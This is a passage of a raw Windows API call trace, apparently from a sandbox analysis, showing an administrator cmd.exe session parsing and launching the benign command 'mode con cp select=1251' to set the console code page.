(_FileHandle=0) returned 0x248 [0149.943] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.943] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0149.943] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.943] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.943] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0149.943] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.943] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.943] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0149.943] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.943] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.943] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0149.943] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.943] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.943] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0149.943] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.943] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.943] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0149.944] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.944] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.944] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0149.944] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.944] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.944] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0149.944] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.944] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.944] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0149.944] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.944] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.944] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0149.944] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.945] GetFileType (hFile=0x248) returned 0x3 [0149.945] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.945] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.945] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.945] GetFileType (hFile=0x254) returned 0x3 [0149.945] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0149.945] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x8484f8f9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f9d8*=0x18, lpOverlapped=0x0) returned 1 [0149.945] GetProcessHeap () returned 0x206da0a0000 [0149.945] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x4012) returned 0x206da0a8bb0 [0149.945] GetProcessHeap () returned 0x206da0a0000 [0149.945] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a8bb0) returned 1 [0149.945] _wcsicmp (_String1="mode", _String2=")") returned 68 [0149.945] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0149.946] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0149.946] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0149.946] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0149.946] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0149.946] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0149.946] GetProcessHeap () returned 0x206da0a0000 [0149.946] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xb0) returned 0x206da0a6e30 [0149.946] GetProcessHeap () returned 0x206da0a0000 [0149.946] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1a) returned 0x206da0a6c60 [0149.946] GetProcessHeap () returned 0x206da0a0000 [0149.946] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x38) returned 0x206da0a6ef0 [0149.947] GetConsoleOutputCP () returned 0x1b5 [0150.297] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0150.297] SetThreadUILanguage (LangId=0x0) returned 0x409 [0150.797] GetConsoleTitleW (in: lpConsoleTitle=0x8484f8f820, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0151.229] malloc (_Size=0xffce) returned 0x206da260840 [0151.229] ??_V@YAXPEAX@Z () returned 0x206da260840 [0151.252] malloc (_Size=0xffce) returned 0x206da270820 [0151.252] ??_V@YAXPEAX@Z () returned 0x206da270820 [0151.288] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0151.288] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0151.288] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0151.288] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0151.288] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0151.288] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0151.288] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0151.288] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0151.288] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0151.289] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0151.289] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0151.289] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0151.289] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0151.289] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0151.289] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0151.289] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0151.289] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0151.289] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0151.289] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0151.289] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0151.289] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0151.289] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0151.289] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0151.289] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0151.289] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0151.289] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0151.289] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0151.289] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0151.289] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0151.289] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0151.289] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0151.289] _wcsicmp (_String1="mode", _String2="START") returned -6 [0151.289] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0151.289] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0151.289] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0151.289] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0151.289] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0151.289] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0151.289] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0151.289] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0151.289] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0151.289] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0151.289] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0151.289] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0151.289] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0151.289] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0151.289] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0151.289] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0151.289] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0151.289] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0151.289] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0151.289] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0151.289] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0151.289] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0151.289] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0151.289] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0151.289] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0151.290] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0151.290] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0151.290] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0151.290] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0151.290] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0151.290] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0151.290] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0151.290] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0151.290] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0151.290] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0151.290] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0151.290] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0151.290] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0151.290] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0151.290] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0151.290] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0151.290] _wcsicmp (_String1="mode", _String2="START") returned -6 [0151.290] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0151.290] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0151.290] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0151.290] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0151.290] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0151.290] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0151.290] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0151.290] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0151.290] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0151.290] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0151.290] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0151.290] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0151.290] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0151.290] ??_V@YAXPEAX@Z () returned 0x1 [0151.290] GetProcessHeap () returned 0x206da0a0000 [0151.290] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xffde) returned 0x206da0a8bb0 [0151.291] GetProcessHeap () returned 0x206da0a0000 [0151.291] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x42) returned 0x206da0b8ba0 [0151.291] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0151.291] malloc (_Size=0xffce) returned 0x206da270820 [0151.291] ??_V@YAXPEAX@Z () returned 0x206da270820 [0151.291] GetProcessHeap () returned 0x206da0a0000 [0151.291] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1ffac) returned 0x206da0b8bf0 [0151.293] SetErrorMode (uMode=0x0) returned 0x0 [0151.293] SetErrorMode (uMode=0x1) returned 0x0 [0151.293] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x206da0b8c00, lpFilePart=0x8484f8f0a0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x8484f8f0a0*="system32") returned 0x13 [0151.293] SetErrorMode (uMode=0x0) returned 0x1 [0151.293] GetProcessHeap () returned 0x206da0a0000 [0151.293] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b8bf0, Size=0x42) returned 0x206da0b8bf0 [0151.293] GetProcessHeap () returned 0x206da0a0000 [0151.293] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b8bf0) returned 0x42 [0151.293] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0151.293] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0151.293] GetProcessHeap () returned 0x206da0a0000 [0151.293] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1b4) returned 0x206da0b8c50 [0151.293] GetProcessHeap () returned 0x206da0a0000 [0151.293] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x358) returned 0x206da0b8e10 [0151.298] GetProcessHeap () returned 0x206da0a0000 [0151.298] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b8e10, Size=0x1b6) returned 0x206da0b8e10 [0151.298] GetProcessHeap () returned 0x206da0a0000 [0151.298] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b8e10) returned 0x1b6 [0151.298] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0151.298] GetProcessHeap () returned 0x206da0a0000 [0151.298] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xe8) returned 0x206da0b8fe0 [0151.298] GetProcessHeap () returned 0x206da0a0000 [0151.298] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b8fe0, Size=0x7e) returned 0x206da0b8fe0 [0151.298] GetProcessHeap () returned 0x206da0a0000 [0151.298] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b8fe0) returned 0x7e [0151.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0151.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x8484f8ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8484f8ee10) returned 0x206da0b9070 [0151.299] GetProcessHeap () returned 0x206da0a0000 [0151.299] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x0, Size=0x28) returned 0x206da0a6a70 [0151.299] FindClose (in: hFindFile=0x206da0b9070 | out: hFindFile=0x206da0b9070) returned 1 [0151.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x8484f8ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8484f8ee10) returned 0x206da0b9070 [0151.299] GetProcessHeap () returned 0x206da0a0000 [0151.299] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0a6a70, Size=0x8) returned 0x206da0a6a70 [0151.299] FindClose (in: hFindFile=0x206da0b9070 | out: hFindFile=0x206da0b9070) returned 1 [0151.299] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0151.299] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0151.299] ??_V@YAXPEAX@Z () returned 0x1 [0151.299] GetConsoleTitleW (in: lpConsoleTitle=0x8484f8f390, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0151.781] GetProcessHeap () returned 0x206da0a0000 [0151.781] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x21c) returned 0x206da0b9070 [0151.781] GetConsoleTitleW (in: lpConsoleTitle=0x206da0b9080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0152.277] GetProcessHeap () returned 0x206da0a0000 [0152.277] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b9070, Size=0xaa) returned 0x206da0b9070 [0152.277] GetProcessHeap () returned 0x206da0a0000 [0152.277] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b9070) returned 0xaa [0152.277] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0153.132] GetProcessHeap () returned 0x206da0a0000 [0153.132] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9070) returned 1 [0153.132] InitializeProcThreadAttributeList (in: lpAttributeList=0x8484f8f2b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8484f8f1a0 | out: lpAttributeList=0x8484f8f2b0, lpSize=0x8484f8f1a0) returned 1 [0153.132] UpdateProcThreadAttribute (in: lpAttributeList=0x8484f8f2b0, dwFlags=0x0, Attribute=0x60001, lpValue=0x8484f8f18c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8484f8f2b0, lpPreviousValue=0x0) returned 1 [0153.132] GetStartupInfoW (in: lpStartupInfo=0x8484f8f240 | out: lpStartupInfo=0x8484f8f240*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0153.132] GetProcessHeap () returned 0x206da0a0000 [0153.132] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x20) returned 0x206da0b9070 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0153.132] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0153.133] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0153.133] GetProcessHeap () returned 0x206da0a0000 [0153.133] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9070) returned 1 [0153.133] GetProcessHeap () returned 0x206da0a0000 [0153.133] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x12) returned 0x206da0b9070 [0153.133] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.133] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0153.133] _get_osfhandle (_FileHandle=0) returned 0x248 [0153.133] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0153.133] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, 